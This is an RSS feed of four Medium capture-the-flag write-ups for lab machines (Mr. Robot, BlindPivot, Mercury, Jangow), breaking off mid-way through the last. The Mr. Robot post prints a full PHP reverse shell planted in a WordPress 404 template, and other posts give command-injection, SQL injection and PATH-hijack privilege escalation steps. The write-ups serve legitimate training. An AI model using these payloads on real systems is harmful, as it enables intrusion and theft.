<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yvan Thrimawithana on Medium]]></title>
        <description><![CDATA[Stories by Yvan Thrimawithana on Medium]]></description>
        <link>https://medium.com/@yvan.thrimawithana?source=rss-91eed4a6e03e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*q_q3hNDXk-r7XZOEFyYWYg.jpeg</url>
            <title>Stories by Yvan Thrimawithana on Medium</title>
            <link>https://medium.com/@yvan.thrimawithana?source=rss-91eed4a6e03e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 11:33:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yvan.thrimawithana/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[VulnHub — Mr. Robot — Writeup]]></title>
            <link>https://medium.com/@yvan.thrimawithana/vulnhub-mr-robot-writeup-3532ce128dc1?source=rss-91eed4a6e03e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3532ce128dc1</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Yvan Thrimawithana]]></dc:creator>
            <pubDate>Wed, 02 Apr 2025 17:53:04 GMT</pubDate>
            <atom:updated>2025-04-02T17:53:56.696Z</atom:updated>
            <content:encoded><![CDATA[<h3>VulnHub Walkthrough : Mr. Robot</h3><p><strong>Author : Yvan Thrimawithana.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*DYIwdvqZaDaBg-FoeOWSRg.png" /></figure><h3>Setup</h3><p>Make sure your virtual machine is on NAT.</p><p>First lets perform a ping sweep to identify what the machine IP is</p><pre>for i in {1..255}; do ping -c 1 192.168.23.$i | grep &quot;64 bytes&quot; &amp; done</pre><p>i was able to get a hit on 192.168.23.140</p><h3>Reconnaissance.</h3><p>In order to solidify it, lets run a rustscan to identify if it has any open ports</p><pre>rustscan -a 192.168.23.140</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*1vqQqLhLUw_Q6egegqOwag.png" /></figure><p>Nice ! So we can see that port 80 is open. Lets check it out.</p><h3>Port 80</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*XFkOnHfAHzaJmxuqZUf8Zg.png" /></figure><h3>Vulnerability Recon</h3><p>So after digging through the website i wasn’t able to find anything useful. Lets run an nmap — script command to find any vulnerabilities within the open ports.</p><pre>nmap --script vuln 192.168.23.140</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*XApUfMeSQsLXLrs4rFEGSg.png" /></figure><p>Alright now we are able to work with something here. So as the output tells there is a robots.txt along with possible admin and wordpress directories (this tell us that this is a wordpress site)</p><p>lets checkout the robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*TOq5zxZckPkac6-2dABfIA.png" /></figure><p>Nice so we able to get 1/3 keys in this machine (not too hard)</p><h3>1/3 Key</h3><p><strong>Key : 073403c8a58a1f80d943455fb30724b9</strong></p><h3>Wordlist</h3><p>Alright so referring back to the robots.txt there is a also a .dic file which is supposedly a wordlist. This could hint that there could be some brute-forcing involved. so i downloaded it to my local machine using</p><pre>wget http://192.168.23.140/fsocity.dic</pre><p>The file seems to be quite large and i also noticed that it has alot of repetitive characters, so lets clean it up by only keeping one of each.</p><pre>sort fsocity.dic | uniq &gt; fsocity_filtered.dic</pre><p>Alright so we got a wordlist.</p><h3>WordPress login</h3><p>So referring back to the nmap scan results we can noticed a wp-login.php which is a standard WordPress login form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*K30jXv_suSlPpjenx3ylEw.png" /></figure><p>so tried some default credentials but nope nothing worked. But lets not waste time on that since its quite obvious that we would have to brute force this with the earlier found wordlist.</p><p>After some attempts in brtue-forcing the login page via burp intruder i wasnt getting any hint. I also scavenged for any usernames throughout the website but got nothing.</p><p>That is when grok.com suggested me to use Mr.Robot Character names for the username field, which makes sense. So i told grok to generate the list of characters in Mr.Robot and loaded it up on burp intruder.</p><h3>Brute Forcing Process.</h3><p>We first capture a login traffic via burp’s proxy, load it up on burp intruder and set the brackets for the two parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*dG8Nwg4ZoUegNrtHkIX-Ow.png" /></figure><p>After thats done, i set the payload 1 (username) with the character list and payload 2(password) with the extracted wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*-spAXh4s0_E2STSc0OYMzA.png" /></figure><p>So as you can see i got a small change in content length on elliot which could hint that this username is a valid username. This was double checked when the login form said that the password for this username is wrong</p><p>so this helped me shortlist it and fuzz passwords with the username set to elliot. We finally got a hit on the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*bsw6oph52iQXKtSs1huC9A.png" /></figure><p>The credentials are <strong>elliot : ER28–0652</strong></p><h3>WordPress Recon</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*4RAB1WVkygCYC5UVhkmnWA.png" /></figure><p>Sweet we got into the wp-admin dashboard now lets dig from here</p><p>So after some digging around i was unable to find any direct exploits towards the available plugins. so i thought of checking out hte Users section as it could hold some potentials information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*PHy0KGQ_uxSHmYPLc-gn6g.png" /></figure><p>Alright we got a new use called mich05654 which is also another character in Mr. Robot. Lets check her out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*_K4wmICHgmHK7xTmMFIrBQ.png" /></figure><p>Okay so we got a small hint saying another key? in her bio, this could mean she is holding onto the second key. so lets login to her account by generating a new password.</p><h3>Reverse shell | Web page editor</h3><p>Well after logging in as mich05654 i didnt find anything useful as she was a normal user, only elliot was admin.</p><p>I logged back into elliot and noticed a file editor option. this was under the appearance tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*vQtSCYHYLNyrg6wbeQCPXw.png" /></figure><p>Nice so technically i could inject a reverse shell code into any of the .php files and if called it would give me a shell into the server.</p><p>For this i chose the 404.php file and edited it as such</p><h3>Shell Code</h3><pre>&lt;?php<br>/**<br> * The template for displaying 404 pages (not found)<br> *<br> * @package WordPress<br> * @subpackage Twenty_Fifteen<br> * @since Twenty Fifteen 1.0<br> */</pre><pre>get_header(); ?&gt;</pre><pre>    &lt;div id=&quot;primary&quot; class=&quot;content-area&quot;&gt;<br>        &lt;main id=&quot;main&quot; class=&quot;site-main&quot; role=&quot;main&quot;&gt;</pre><pre>            &lt;section class=&quot;error-404 not-found&quot;&gt;<br>                &lt;header class=&quot;page-header&quot;&gt;<br>                    &lt;h1 class=&quot;page-title&quot;&gt;&lt;?php _e( &#39;Oops! That page can’t be found.&#39;, &#39;twentyfifteen&#39; ); ?&gt;&lt;/h1&gt;<br>                &lt;/header&gt;&lt;!-- .page-header --&gt;</pre><pre>                &lt;div class=&quot;page-content&quot;&gt;<br>                    &lt;p&gt;&lt;?php _e( &#39;It looks like nothing was found at this location. Maybe try a search?&#39;, &#39;twentyfifteen&#39; ); ?&gt;&lt;/p&gt;</pre><pre>                    &lt;?php get_search_form(); ?&gt;<br>                &lt;/div&gt;&lt;!-- .page-content --&gt;<br>            &lt;/section&gt;&lt;!-- .error-404 --&gt;</pre><pre>        &lt;/main&gt;&lt;!-- .site-main --&gt;<br>    &lt;/div&gt;&lt;!-- .content-area --&gt;</pre><pre>&lt;?php<br>// Reverse shell code<br>$ip = &quot;192.168.23.138&quot;;  // Your local IP<br>$port = 4444;            // Your chosen port</pre><pre>// Attempt to create a reverse shell<br>$sock = @fsockopen($ip, $port, $errno, $errstr, 5);  // 5-second timeout<br>if ($sock) {<br>    $descriptorspec = array(<br>        0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),  // stdin<br>        1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;),  // stdout<br>        2 =&gt; array(&quot;pipe&quot;, &quot;w&quot;)   // stderr<br>    );<br>    $process = proc_open(&#39;/bin/sh -i&#39;, $descriptorspec, $pipes, null, null);<br>    if (is_resource($process)) {<br>        stream_set_blocking($sock, 0);<br>        foreach ($pipes as $pipe) {<br>            stream_set_blocking($pipe, 0);<br>        }<br>        fwrite($pipes[0], &quot;whoami\n&quot;);  // Test command<br>        while (!feof($sock)) {<br>            fwrite($pipes[0], fread($sock, 1024));<br>            fwrite($sock, fread($pipes[1], 1024));<br>            fwrite($sock, fread($pipes[2], 1024));<br>        }<br>        foreach ($pipes as $pipe) {<br>            fclose($pipe);<br>        }<br>        proc_close($process);<br>    }<br>    fclose($sock);<br>}<br>?&gt;</pre><pre>&lt;?php get_footer(); ?&gt;</pre><p>Saved my changes, opened a netcat listener (nc -nvlp 4444) and visited a non-existent web page.</p><p>Solid ! so now i was doing some digging into the directories and found out about user robot and that user contains the following files.</p><p>you can establish a better and more interactive shell by running this command python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*Hm_DdtL40uvZ8nvQMtwXUQ.png" /></figure><p>So we cannot read the key directly but we can read the hashed password of robot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*OJ5WC-ieAucWrp2UjaVcPw.png" /></figure><pre>robot : c3fcd3d76192e4007dfb496cca67e13b</pre><p>I was able to crack the password using crackstation</p><p><a href="https://crackstation.net/">https://crackstation.net/</a></p><p><strong>robot : abcdefghijklmnopqrstuvwxyz</strong></p><p>Now lets login to robot and capture the flag. :) (login via the VM)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*jC_eDH1kawQEmtuj06DcRA.png" /></figure><h3>2/3 Key</h3><p><strong>Key : 822c73956184f694993bede3eb39f959</strong></p><h3>Privilege Escalation</h3><p>Alright now lets get our hands dirty with privesc. So lets first run a weak binary check, this will help us to identify if any binaries have root access but can also be executable by any user.</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><h3>Nmap</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*Ce8xKtlBkLx9j-xQPsev_g.png" /></figure><p>Interesting! we got nmap as a weak binary so lets check the version of it. The version is 3.81. I believe we can exploit this binary using GTFO bins.</p><p><a href="https://gtfobins.github.io/gtfobins/nmap/">https://gtfobins.github.io/gtfobins/nmap/</a></p><p>Lets attempt to establish an interactive shell using the following commands</p><pre>nmap --interactive<br>nmap &gt; !sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*lVKtlCbu1F_uBTKR442nXQ.png" /></figure><p>Voila we rooted the machine, now lets capture the last key.</p><h3>3/3 Key</h3><p><strong>Key : 04787ddef27c3dee1ee161b21670b4e4</strong></p><h3>Keys</h3><p><strong>Key 1–073403c8a58a1f80d943455fb30724b9</strong> <strong>Key 2–822c73956184f694993bede3eb39f959</strong> <strong>Key 3–04787ddef27c3dee1ee161b21670b4e4</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3532ce128dc1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BlindPivot Writeup: Security Sunday CTF]]></title>
            <link>https://medium.com/@yvan.thrimawithana/blindpivot-writeup-security-sunday-ctf-6b6c6d252d1b?source=rss-91eed4a6e03e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b6c6d252d1b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Yvan Thrimawithana]]></dc:creator>
            <pubDate>Mon, 13 Jan 2025 11:42:50 GMT</pubDate>
            <atom:updated>2025-01-13T11:42:50.263Z</atom:updated>
            <content:encoded><![CDATA[<h3>BlindPivot Walkthrough: Security Sunday CTF</h3><h3>SSH Login</h3><p>Before starting the CTF, we were given a set of SSH credentials. Let’s log in. :D</p><pre>ssh destiny@35.192.219.67 -p 1020<br>password : optimusprime</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*_cU6W34xQnILtoJLrLEISg.png" /><figcaption>SSH</figcaption></figure><p>alright so we got into the system. so as you can see (heh) Use ChatGPT; it&#39;s okay. ;). you already know ChatGPT gonna carry this (nevertheless understand what you&#39;re doing regardless)</p><h3>Network Discovery</h3><p>upon some system inspection i wasnt able to get much info, but then i remembered Heshan aiya showed that during his demo, he ran a ping sweep command to find any existing machines within the network. thought i’d give it a try too :D</p><pre>for ip in $(seq 1 254); do ping -c 1 -W 1 192.168.101.$ip | grep &quot;64 bytes&quot; | cut -d&quot; &quot; -f4 | tr -d &quot;:&quot;; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*9iPaqyLtdHngIEd3Viozxw.png" /><figcaption>Ping sweep</figcaption></figure><p>Sweet! We found a machine at 192.168.101.5.</p><h3>Port Scanning</h3><p>Next, I ran a port sweep command on the discovered IP address:</p><pre>for port in {1..65535}; do (echo &gt; /dev/tcp/192.168.101.5/$port) &gt;/dev/null 2&gt;&amp;1 &amp;&amp; echo &quot;192.168.101.5 Port $port is open&quot;; done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*wdWhBow0NRi-PudpHcldGw.png" /><figcaption>port sweep</figcaption></figure><p>sweet! port 4444 is open so lets connect to that via netcat (nc)</p><pre>nc 192.168.101.5 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*ydm78TcxaioNRO3H74SDCw.png" /><figcaption>‘ls’</figcaption></figure><h3>Exploring the System</h3><p>okay so we got access to this machine. after running some system checks (id, whoami) i was able to tell that i was root too.</p><p>after a rigorous search through files i was able to find a backdoor.py in the root/.hidden/ directory. however was able to quickly tell that it was script that created the instance i am in so ...... rabbit hole</p><h3>Network Configuration</h3><p>next i was checking out the network areas of the system and after getting a hold of some common network interface commands i was able to denote the following:</p><pre>ifconfig  </pre><pre>arp -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*mskHn4nDwOC124DIQTCCeA.png" /></figure><p>as we can see that in the output displayed above, the 192.168.101.5 is the current machine&#39;s ip address but i also notice another sub network 192.168.150.5 binded to this machine as well.</p><h3>Pivoting to a New Network</h3><p>so we gotta pivot again to another machine. i ran the same ping sweep command as earlier (change the IPs) and was able to find out a machine IP 192.168.150.10 (you can see it in the arp -a output too).</p><p>Ran a port sweep using nc on the IP afterwards to find any possible open ports:</p><pre>nc -zv 192.168.150.10 1-65535</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*fVQ5eUS-YKx-_I97-HsufQ.png" /><figcaption>port sweep</figcaption></figure><p>nice! so we found port 1337 to be open.</p><h3>Connecting to the New Machine</h3><p>so now what was left was for me to connect via nc and capture any banners or maybe connect to a session:</p><pre>nc 192.168.150.10 1337</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*I-eYBVGTGAYQBCKA4-yndg.png" /><figcaption>nc session</figcaption></figure><p>nothing, it wasn’t failing nor was it showing any output, hanging maybe. at this point i was just confused. tried performing another ping sweep but nothing came up except this IP only.</p><h3>Capturing Session Output</h3><p>after a good convo with chat gpt i ran a command which basically outputs the contents of the nc session. worth the shot:</p><pre>nc 192.168.150.10 1337 &gt; help.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*fAbJkPz1gHKx2v3oc26ifw.png" /></figure><p>alright! so we can see that this nc session establishes a <strong>blind connection</strong> so now lets check out the system.</p><h3>Commands and Features</h3><p>I reconnected to the session and typed help.</p><p>rechecked the output file and:</p><p>awesome! so we have access to ping, about, hint, exit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*2RwzuTPVX37Gf9-a3fP63Q.png" /></figure><h3>Exploring hint</h3><p>noticed the hint command right away so lets try it out:</p><pre>hacked/$/&gt;&gt; nc 192.168.150.10 1337 &gt; help.txt  <br><br>hint</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*48s_tv0qqWSAS0fEEeTNug.png" /></figure><p>alright so a command injection vulnerability, pretty straightforward i believe.</p><h3>Exploiting the Command Injection</h3><p>I tried most command injections to the session but none of them worked. failed commands include (; ls, &amp;&amp; ls, || ls etc).</p><p>i then noticed that we can run the ping command so i quickly prompted chatgpt and was able to learn that you could trigger a command injection vulnerability by simply:</p><pre>ping [ip]; ls</pre><p>so lets try it out, the ip i took was 127.0.0.1 (localhost):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*RrfoGwFsh6FGsPJIORQK5Q.png" /></figure><p><strong>lets go!</strong> so now that we have a clear defined way of executing arbitrary commands we can simply capture the flag</p><h3>Capturing the Flag</h3><p>Finally, I captured the flag with:</p><pre>ping [ip]; cat flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*ZbY90Zzd5fm6-1imzPvm1A.png" /></figure><p><strong>FLAG:</strong> LEGION{N3w-Fl@g-FTW}</p><h3>Conclusion</h3><p>This challenge showcased:</p><ol><li><strong>Basic Reconnaissance:</strong> Using ping sweeps and port sweeps to discover network assets.</li><li><strong>Pivoting:</strong> Identifying and connecting to machines across different subnets.</li><li><strong>Exploitation:</strong> Leveraging command injection vulnerabilities to execute arbitrary commands and capture the flag.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b6c6d252d1b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub : Mercury — Writeup]]></title>
            <link>https://medium.com/@yvan.thrimawithana/vulnhub-mercury-writeup-95c074327dd8?source=rss-91eed4a6e03e------2</link>
            <guid isPermaLink="false">https://medium.com/p/95c074327dd8</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[mercury]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yvan Thrimawithana]]></dc:creator>
            <pubDate>Fri, 20 Dec 2024 11:03:04 GMT</pubDate>
            <atom:updated>2024-12-20T11:03:04.720Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnhub — Mercury Walkthrough</h3><h3>Difficulty — EASY</h3><p><strong>Link </strong>: <a href="https://www.vulnhub.com/entry/the-planets-mercury,544/">https://www.vulnhub.com/entry/jangow-101,754/</a></p><p>This is a complete walkthrough for <strong>Mercury</strong>, focusing on enumeration, SQL Injection, and privilege escalation to gain root access. Let’s dive in!</p><h3>Finding the Machine IP</h3><p>First, let’s identify the target machine’s IP address by running <strong>netdiscover</strong>:</p><pre>sudo netdiscover</pre><p>In this case, the IP address is <strong>192.168.0.102</strong>. To confirm this, we’ll run an <strong>Nmap</strong> scan.</p><h3>Reconnaissance</h3><p>Start with a simple Nmap scan:</p><pre>nmap 192.168.0.102 --system-dns</pre><p>Output:</p><pre>┌──(kali㉿kali)-[/media/sf_hackthebox/Mecury]<br>└─$ nmap  192.168.56.102 --system-dns <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 15:54 EST<br>Nmap scan report for 192.168.56.102<br>Host is up (0.0040s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>8080/tcp open  http-proxy<br><br>Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds<br><br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>The HTTP service running on <strong>port 8080</strong> stands out. Let’s explore further.</p><h3>Exploring the HTTP Server</h3><p>Navigate to the HTTP service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*r1GuZ_JdrVtby6upun26bw.png" /></figure><p>Nothing much really, so my first thought is to run a gobuster and dirsearch scan to check for hidden directories, but actually nothing came up! Hmmm, interesting. I decided: <em>&quot;Damn... dead end?&quot;</em></p><p>Although that was my thought, I do remember that many machines that I’ve previously done had custom error pages — maybe that’s why it isn’t showing up on my gobuster scan (idk why but it does).</p><h3>Testing Custom Error Pages</h3><p>So I went over to the URL and modified it to a random URL like:</p><pre>http://192.168.0.102:8080/test/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MF9uYAUQWlaAhXVh2tsP-w.png" /></figure><p>This response indicates the server runs <strong>Django</strong>. Let’s dig deeper.</p><h3>Exploring Subdirectories</h3><p>Now let’s check out these subdirectories.<br><strong>robot.txt</strong> did not have anything interesting btw.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*dYdQVbKzNxCu_s1HgUpk2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*mFxbFHiTsEJxlb17lSZwVw.png" /></figure><p>Interesting!</p><p>Visiting /mercuryfacts/1/ returned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*ykScqdP0yWpHbWoVbgiqkg.png" /></figure><p>It appears the page queries facts based on an ID in the URL. This structure is a potential <strong>SQL Injection</strong> vector.</p><h3>SQL Injection Discovery</h3><p>To test for SQL Injection, I appended a single quote (&#39;) to the URL:</p><pre>http://192.168.0.102:8080/mercuryfacts/1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hTjMd4PMAFp2ZIBQbf33Fw.png" /></figure><p><strong>Bingo!</strong> The SQL error confirms vulnerability.<br><strong>Explanation</strong>:<br>An SQL injection attack is where malicious SQL commands are inserted into an application via input fields or URL fuzzing. This will then be executed by the application, allowing the attacker to potentially steal, modify, or delete data, or even take control of a database. Proper input sanitizing is a must to battle this. Tools such as sqlmap can help automate the process.</p><h3>User Enumeration</h3><h3>Exploiting SQL Injection</h3><p>SQL Injection allows injecting malicious SQL queries to interact with the database. To automate this, I used sqlmap:</p><pre>sqlmap -u &quot;http://mercury.vul:8080/mercuryfacts/1&quot; --dbms=mysql --batch --risk=3 --level=5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-j6sFu33D2bZrtPrV2aIQ.png" /></figure><p>Success! We now know that the site is indeed vulnerable, so let’s dump the database:</p><pre>sqlmap -u &quot;http://mercury.vul:8080/mercuryfacts/1&quot; --dump-all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*kqvf6TwEfaPF8S2FIw5q0Q.png" /></figure><p>sweet we got some credentials. lets login to</p><pre>webmaster : mercuryisthesizeof0.056Earths</pre><h3>Capturing the User Flag</h3><h3>Logging in via SSH</h3><p>Let’s use the credentials to log in:</p><pre>ssh webmaster@192.168.0.102</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*Dcaf18YdH8jGp-exT6N2vw.png" /></figure><p>Let’s go, we captured the <strong>User flag</strong>:</p><pre>[user_flag_8339915c9a454657bd60ee58776f4ccd]</pre><h3>Root Escalation</h3><p>While inspecting the home directory, I found a file named notes.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*w3rCVi8vEO2ZciCjuyqJvQ.png" /></figure><p>Solid! So as we can see, the linuxmaster password is also given to us but encoded in Base64. We can decode it using <a href="https://cyberchef.io/">CyberChef</a> or run:</p><pre>echo &quot;[base64 enc text]&quot; | base64 -d</pre><p>This gives us the credentials:</p><pre>linuxmaster : mercurymeandiameteris4880km</pre><h3>Switching to Linuxmaster</h3><p>Log in with the new credentials:</p><pre>ssh linuxmaster@192.168.0.102</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*9rlS9cgUso1dY1vTs8BMFg.png" /></figure><h3>Exploiting Sudo Permissions</h3><p>I ran sudo -l, which gives us the list of all the binaries that we are allowed to run as sudo:</p><pre>sudo -l</pre><pre>Matching Defaults entries for linuxmaster on mercury:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User linuxmaster may run the following commands on mercury:<br>    (root : root) SETENV: /usr/bin/check_syslog.sh<br>linuxmaster@mercury:~$</pre><p>As you can see, linuxmaster is able to run /usr/bin/check_syslog.sh as sudo on the machine. This could pose a potential <strong>privesc</strong> vulnerability to us.</p><h3>Analyzing the Script</h3><p>The check_syslog.sh script:</p><pre>cat /usr/bin/check_syslog.sh</pre><pre>#!/bin/bash<br>tail -n 10 /var/log/syslog</pre><p>So what we can tell from the contents of the check_syslog.sh file is that it tails the first 10 lines in the /var/log/syslog file.</p><p><strong>!</strong> The tail command is used to read the last part of a file, and with custom options we can set how many lines it should read at the end.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*Rj9Mh5JLp1m6MIoJSvrVKQ.png" /></figure><h3>Privilege Escalation Steps</h3><p>We can exploit the fact that it’s calling another binary (tail) to the system. To exploit it, we trick the system into using a custom tail binary instead, which will give us root access.</p><ol><li>Create a file called tail in the /tmp/ directory and enter /bin/bash:</li></ol><pre>echo &quot;/bin/bash&quot; &gt; /tmp/tail</pre><p>2. Make it executable:</p><pre>chmod +x /tmp/tail</pre><p>3. Run the check_syslog.sh file while specifying the environment path:</p><pre>sudo PATH=/tmp:$PATH ./check_syslog.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*EvZ54uLzv-bZSsBVVGg1JQ.png" /></figure><p><strong>Root shell acquired!</strong></p><h3>Capturing the Root Flag</h3><p>Finally, navigate to the root directory and capture the flag:</p><pre>cat /root/root.txt</pre><pre>[root_flag_69426d9fda579afbffd9c2d47ca31d90]</pre><p><strong>Mission Accomplished!</strong> We successfully pwned <strong>Mercury</strong>.</p><h3>Key Takeaways</h3><ul><li><strong>Enumeration</strong>: Pay attention to error messages and server responses.</li><li><strong>SQL Injection</strong>: Test URLs for SQLi manually and use sqlmap to automate exploitation.</li><li><strong>Privilege Escalation</strong>: Misconfigured scripts and sudo permissions are common vectors.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95c074327dd8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub-JANGOW 01-WRITEUP]]></title>
            <link>https://medium.com/@yvan.thrimawithana/vulnhub-jangow-01-writeup-6742b251d2ce?source=rss-91eed4a6e03e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6742b251d2ce</guid>
            <category><![CDATA[training]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Yvan Thrimawithana]]></dc:creator>
            <pubDate>Wed, 18 Dec 2024 15:15:43 GMT</pubDate>
            <atom:updated>2024-12-19T04:04:24.085Z</atom:updated>
            <content:encoded><![CDATA[<h3>Difficulty — <strong>EASY</strong></h3><p><strong>Link </strong>: <a href="https://www.vulnhub.com/entry/jangow-101,754/">https://www.vulnhub.com/entry/jangow-101,754/</a></p><h3>Reconnaissance</h3><p>Start with an <strong>Nmap</strong> scan:</p><pre>┌──(kali↿kali)-[~]<br>└∝$ nmap -sV 192.168.56.118<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 17:39 EST<br>Nmap scan report for 192.168.56.118<br>Host is up (0.0071s latency).<br>Not shown: 998 filtered tcp ports (no-response)<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>80/tcp open  http    Apache httpd 2.4.18<br>Service Info: Host: 127.0.0.1; OS: Unix<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds</pre><p>We notice an open FTP server, but no luck as it requires credentials. So, let’s check out the website running on port 80.</p><h3>Website Exploration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SfWXoVOIA2CEz6BsOE6pZw.png" /></figure><p>Navigating to port 80, we see a directory named site. Exploring this directory further, we come across a busque.php page that performs a <strong>POST</strong> request:</p><pre>http://jangow.vul/site/busque.php?buscar=</pre><p>With some testing, we discover that this page is vulnerable to <strong>Local File Inclusion (LFI)</strong>.</p><h3>User Flag</h3><h3>Explanation</h3><ul><li><strong>Local File Inclusion (LFI)</strong> is a vulnerability where an attacker can access arbitrary files on the server by manipulating input points.</li></ul><p>In this case, running the following command demonstrates LFI:</p><pre>http://jangow.vul/site/busque.php?buscar=ls</pre><p>The response lists the contents of the directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/177/1*m-yMPw_KGtdOE_ZpZHHTsg.png" /></figure><h3>Digging Deeper</h3><p>From the output, we notice a <strong>WordPress folder</strong>. Let’s inspect its contents:</p><pre>http://jangow.vul/site/busque.php?buscar=ls -la wordpress/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/171/1*fCagzF0APbPmiCjAxrWvrQ.png" /></figure><p>To view the contents of `config.php`, we run:</p><pre>http://jangow.vul/site/busque.php?buscar=cat wordpress/config.php</pre><figure><img alt="" 